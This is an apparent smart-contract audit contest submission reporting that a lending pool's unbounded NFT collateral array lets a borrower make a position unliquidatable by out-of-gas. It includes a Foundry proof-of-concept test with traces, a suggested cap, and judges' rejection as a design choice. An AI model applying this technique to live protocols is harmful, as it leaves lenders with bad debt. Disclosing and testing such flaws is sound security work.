Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Unbounded NFT Collateral Array Enables Creation of Unliquidatable Positions

Summary

The LendingPool contract allows users to deposit an unlimited number of NFTs as collateral. Due to gas limitations and O(n) operations during liquidation, a malicious user can deposit enough NFTs to make their position unliquidatable while still maintaining the ability to manage their position normally, exposing the protocol to bad debt accumulation.

Vulnerability Details

The core issue is that there's no limit on how many NFTs a user can deposit as collateral in the LendingPool:

// LendingPool.sol
function depositNFT(uint256 tokenId) external nonReentrant whenNotPaused {
// No check on the length of user's NFT array
user.nftTokenIds.push(tokenId);
user.depositedNFTs[tokenId] = true;
}

This unbounded array creates a petentoin out-of-gas issue across different operations when looping through user deposited nfts. and DoS those actions

  • while this can be seen as user harming his self, it's not actually the case as an attacker can target this gap to create an unliquidatable position

  • that's possible because the finalizeLiquidation function consume more gas than withdrawNft function.

whith this a user can targe a specifc length of nftCollateral , that still allow him to withdraw , but revert on liquidation , basically create unliquidateable

PoC

Foundry Envirement Setup
  • i'm using foundry for test , to integrate foundry :
    run :

    npm install --save-dev @nomicfoundation/hardhat-foundry

    add this to hardhat.config.cjs :

    require("@nomicfoundation/hardhat-foundry");

    run :

    npx hardhat init-foundry
  • comment the test/unit/libraries/ReserveLibraryMock.sol as it's causing compiling errors

  • inside test folder , create new dir foundry and inside it , create new file baseTest.sol , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RAACToken.sol";
import "../../contracts/core/tokens/veRAACToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/DEToken.sol";
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../../contracts/core/collectors/FeeCollector.sol";
import "../../contracts/core/collectors/Treasury.sol";
import "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
contract baseTest is Test {
// Protocol contracts
crvUSDToken public crvUSD;
RAACToken public raacToken;
veRAACToken public veToken;
RAACHousePrices public housePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
LendingPool public lendingPool;
StabilityPool public stabilityPool;
Treasury public treasury;
Treasury public repairFund;
FeeCollector public feeCollector;
RAACMinter public minter;
RAACReleaseOrchestrator public releaseOrchestrator;
// Test accounts
address public admin = makeAddr("admin");
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public user3 = makeAddr("user3");
// Constants
uint256 public constant INITIAL_MINT = 1000 ether;
uint256 public constant HOUSE_PRICE = 100 ether;
uint256 public constant INITIAL_PRIME_RATE = 0.1e27; // 10% in RAY
uint256 public constant TAX_RATE = 200; // 2% in basis points
uint256 public constant BURN_RATE = 50; // 0.5% in basis points
function setUp() public virtual {
vm.startPrank(admin);
// Deploy base tokens
crvUSD = new crvUSDToken(admin);
crvUSD.setMinter(admin);
raacToken = new RAACToken(admin, TAX_RATE, BURN_RATE);
veToken = new veRAACToken(address(raacToken));
releaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
// Deploy mock oracle
housePrices = new RAACHousePrices(admin);
housePrices.setOracle(admin);
// Deploy NFT
raacNFT = new RAACNFT(address(crvUSD), address(housePrices), admin);
// Deploy pool tokens
rToken = new RToken("RToken", "RT", admin, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", admin);
deToken = new DEToken("DEToken", "DEToken", admin, address(rToken));
// Deploy core components
treasury = new Treasury(admin);
repairFund = new Treasury(admin);
feeCollector =
new FeeCollector(address(raacToken), address(veToken), address(treasury), address(repairFund), admin);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(housePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(admin);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
// Initialize contracts
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veToken), true);
raacToken.manageWhitelist(admin, true);
raacToken.setMinter(admin);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(user3, INITIAL_MINT);
raacToken.setMinter(address(minter));
bytes32 FEE_MANAGER_ROLE = feeCollector.FEE_MANAGER_ROLE();
bytes32 EMERGENCY_ROLE = feeCollector.EMERGENCY_ROLE();
bytes32 DISTRIBUTOR_ROLE = feeCollector.DISTRIBUTOR_ROLE();
feeCollector.grantRole(FEE_MANAGER_ROLE, admin);
feeCollector.grantRole(EMERGENCY_ROLE, admin);
feeCollector.grantRole(DISTRIBUTOR_ROLE, admin);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(minter),
address(crvUSD),
address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
// Setup test environment
crvUSD.mint(user1, INITIAL_MINT);
crvUSD.mint(user2, INITIAL_MINT);
crvUSD.mint(user3, INITIAL_MINT);
housePrices.setHousePrice(1, HOUSE_PRICE);
vm.stopPrank();
}
// Helper functions
function mintCrvUSD(address to, uint256 amount) public {
vm.prank(admin);
crvUSD.mint(to, amount);
}
function setHousePrice(uint256 tokenId, uint256 price) public {
vm.prank(admin);
housePrices.setHousePrice(tokenId, price);
}
function calculateInterest(uint256 principal, uint256 rate, uint256 time) public pure returns (uint256) {
return principal * rate * time / 365 days / 1e27;
}
function warpAndAccrue(uint256 time) public {
vm.warp(block.timestamp + time);
lendingPool.updateState();
}
}
  • now create a pocs.sol inside test/foundry , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./baseTest.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockCurveVault is ERC4626 {
constructor(address _asset) ERC4626(ERC20(_asset)) ERC20("Mock Curve Vault", "mcrvUSD") {}
}
contract pocs is baseTest {
//poc here
}

The following test demonstrates how the unbounded NFT array can be exploited to create an unliquidatable position while maintaining the ability to withdrawNft ,using the same gasLimit for both actions , we can scale the gas limit to maxGasPerBlock , to completely eliminate the change to get liquidated :

function test_poc02() public {
// Constants for the attack
uint256 NFT_COUNT = 100; // Number of NFTs to use
uint256 NFT_PRICE = 1 ether; // Price per NFT
uint256 BORROW_PERCENT = 70; // Borrow 70% of collateral
uint256 GAS_LIMIT = 100000; // Very low gas limit to force failure
console.log("=== Setting up NFTs ===");
// Setup initial liquidity
address liquidityProvider = makeAddr("liquidityProvider");
uint256 liquidityAmount = NFT_PRICE * NFT_COUNT * 2;
// Give liquidity provider and user1 crvUSD
vm.startPrank(admin);
crvUSD.mint(liquidityProvider, liquidityAmount);
crvUSD.mint(user1, NFT_PRICE * NFT_COUNT * 2); // 2x for safety
vm.stopPrank();
// Liquidity provider deposits into lending pool
vm.startPrank(liquidityProvider);
crvUSD.approve(address(lendingPool), liquidityAmount);
lendingPool.deposit(liquidityAmount);
vm.stopPrank();
// 1. Setup many NFTs for user1
uint256[] memory tokenIds = new uint256[](NFT_COUNT);
uint256 totalCollateralValue = 0;
for (uint256 i = 0; i < NFT_COUNT; i++) {
tokenIds[i] = i + 1;
vm.prank(admin);
housePrices.setHousePrice(tokenIds[i], NFT_PRICE);
// Mint NFT to user1
vm.startPrank(user1);
crvUSD.approve(address(raacNFT), NFT_PRICE);
raacNFT.mint(tokenIds[i], NFT_PRICE);
vm.stopPrank();
totalCollateralValue += NFT_PRICE;
}
console.log("Created", NFT_COUNT, "NFTs worth", totalCollateralValue);
// 2. User deposits all NFTs
vm.startPrank(user1);
for (uint256 i = 0; i < tokenIds.length; i++) {
raacNFT.approve(address(lendingPool), tokenIds[i]);
lendingPool.depositNFT(tokenIds[i]);
}
console.log("Deposited all NFTs");
// 3. Take out significant loan
uint256 borrowAmount = (totalCollateralValue * BORROW_PERCENT) / 100;
lendingPool.borrow(borrowAmount);
console.log("Borrowed", borrowAmount);
vm.stopPrank();
// Prove user can still withdraw individual NFTs
vm.prank(user1);
lendingPool.withdrawNFT(tokenIds[0]); // This should work
console.log("User can still withdraw NFT");
// 4. Price drops, making position liquidatable
address oracle = housePrices.oracle();
vm.startPrank(oracle);
for (uint256 i = 0; i < NFT_COUNT; i++) {
housePrices.setHousePrice(tokenIds[i], NFT_PRICE / 2); // 50% price drop
}
vm.stopPrank();
console.log("Dropped NFT prices by 50%");
// 5. Try to liquidate - should fail due to gas limit
vm.prank(admin);
lendingPool.initiateLiquidation(user1);
// Wait for grace period
vm.warp(block.timestamp + 10 days);
// Give stability pool enough tokens
vm.startPrank(admin);
crvUSD.mint(address(stabilityPool), 100 ether);
vm.stopPrank();
// Approve token transfer
vm.startPrank(address(stabilityPool));
crvUSD.approve(address(lendingPool), type(uint256).max);
// Try liquidation with gas limit
(bool success,) =
address(lendingPool).call{gas: GAS_LIMIT}(abi.encodeWithSignature("finalizeLiquidation(address)", user1));
vm.stopPrank();
assertFalse(success, "Liquidation should fail due to gas limit");
}
  • traces :

[PASS] test_poc02() (gas: 25508300)
Logs:
=== Setting up NFTs ===
Created 100 NFTs worth 100000000000000000000
Deposited all NFTs
Borrowed 70000000000000000000
User can still withdraw NFT
Dropped NFT prices by 50%
├....
├...
├─ [99608] LendingPool::finalizeLiquidation(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ ├─ emit ReserveInterestsUpdated(liquidityIndex: 1000554366438356164383561643 [1e27], usageIndex: 1001585159148236048034104705 [1.001e27])
│ ├─ [51001] RAACNFT::transferFrom(LendingPool: [0x13BD9422D1ae8356644c4b134F7d672B5DfF6C2d], StabilityPool: [0x708E1250e880919e2B4f513660fABab953a700eb], 100)
│ │ ├─ emit Transfer(from: LendingPool: [0x13BD9422D1ae8356644c4b134F7d672B5DfF6C2d], to: StabilityPool: [0x708E1250e880919e2B4f513660fABab953a700eb], tokenId: 100)
│ │ └─ ← [Stop]
│ ├─ [6685] RAACNFT::transferFrom(LendingPool: [0x13BD9422D1ae8356644c4b134F7d672B5DfF6C2d], StabilityPool: [0x708E1250e880919e2B4f513660fABab953a700eb], 2)
│ │ ├─ emit Transfer(from: LendingPool: [0x13BD9422D1ae8356644c4b134F7d672B5DfF6C2d], to: StabilityPool: [0x708E1250e880919e2B4f513660fABab953a700eb], tokenId: 2)
>> │ │ └─ ← [OutOfGas] EvmError: OutOfGas
│ └─ ← [Revert] EvmError: Revert
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::assertFalse(false, "Liquidation should fail due to gas limit") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Impact

  • Users can create positions that are impossible to liquidate by depositing enough NFTs this leads to bad debt accumulation as undercollateralized positions cannot be liquidated thus , protocol insolvency

Tools Used

  • Foundry

  • Manual Review

Recommendations

Implement a maximum limit on the number of NFTs a user can deposit:

// LendingPool.sol
+ uint256 public constant MAX_NFTS_PER_USER = 50;
function depositNFT(uint256 tokenId) external nonReentrant whenNotPaused {
+ if (userData[msg.sender].nftTokenIds.length >= MAX_NFTS_PER_USER) {
+ revert TooManyNFTs();
+ }
// ... rest of the function
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.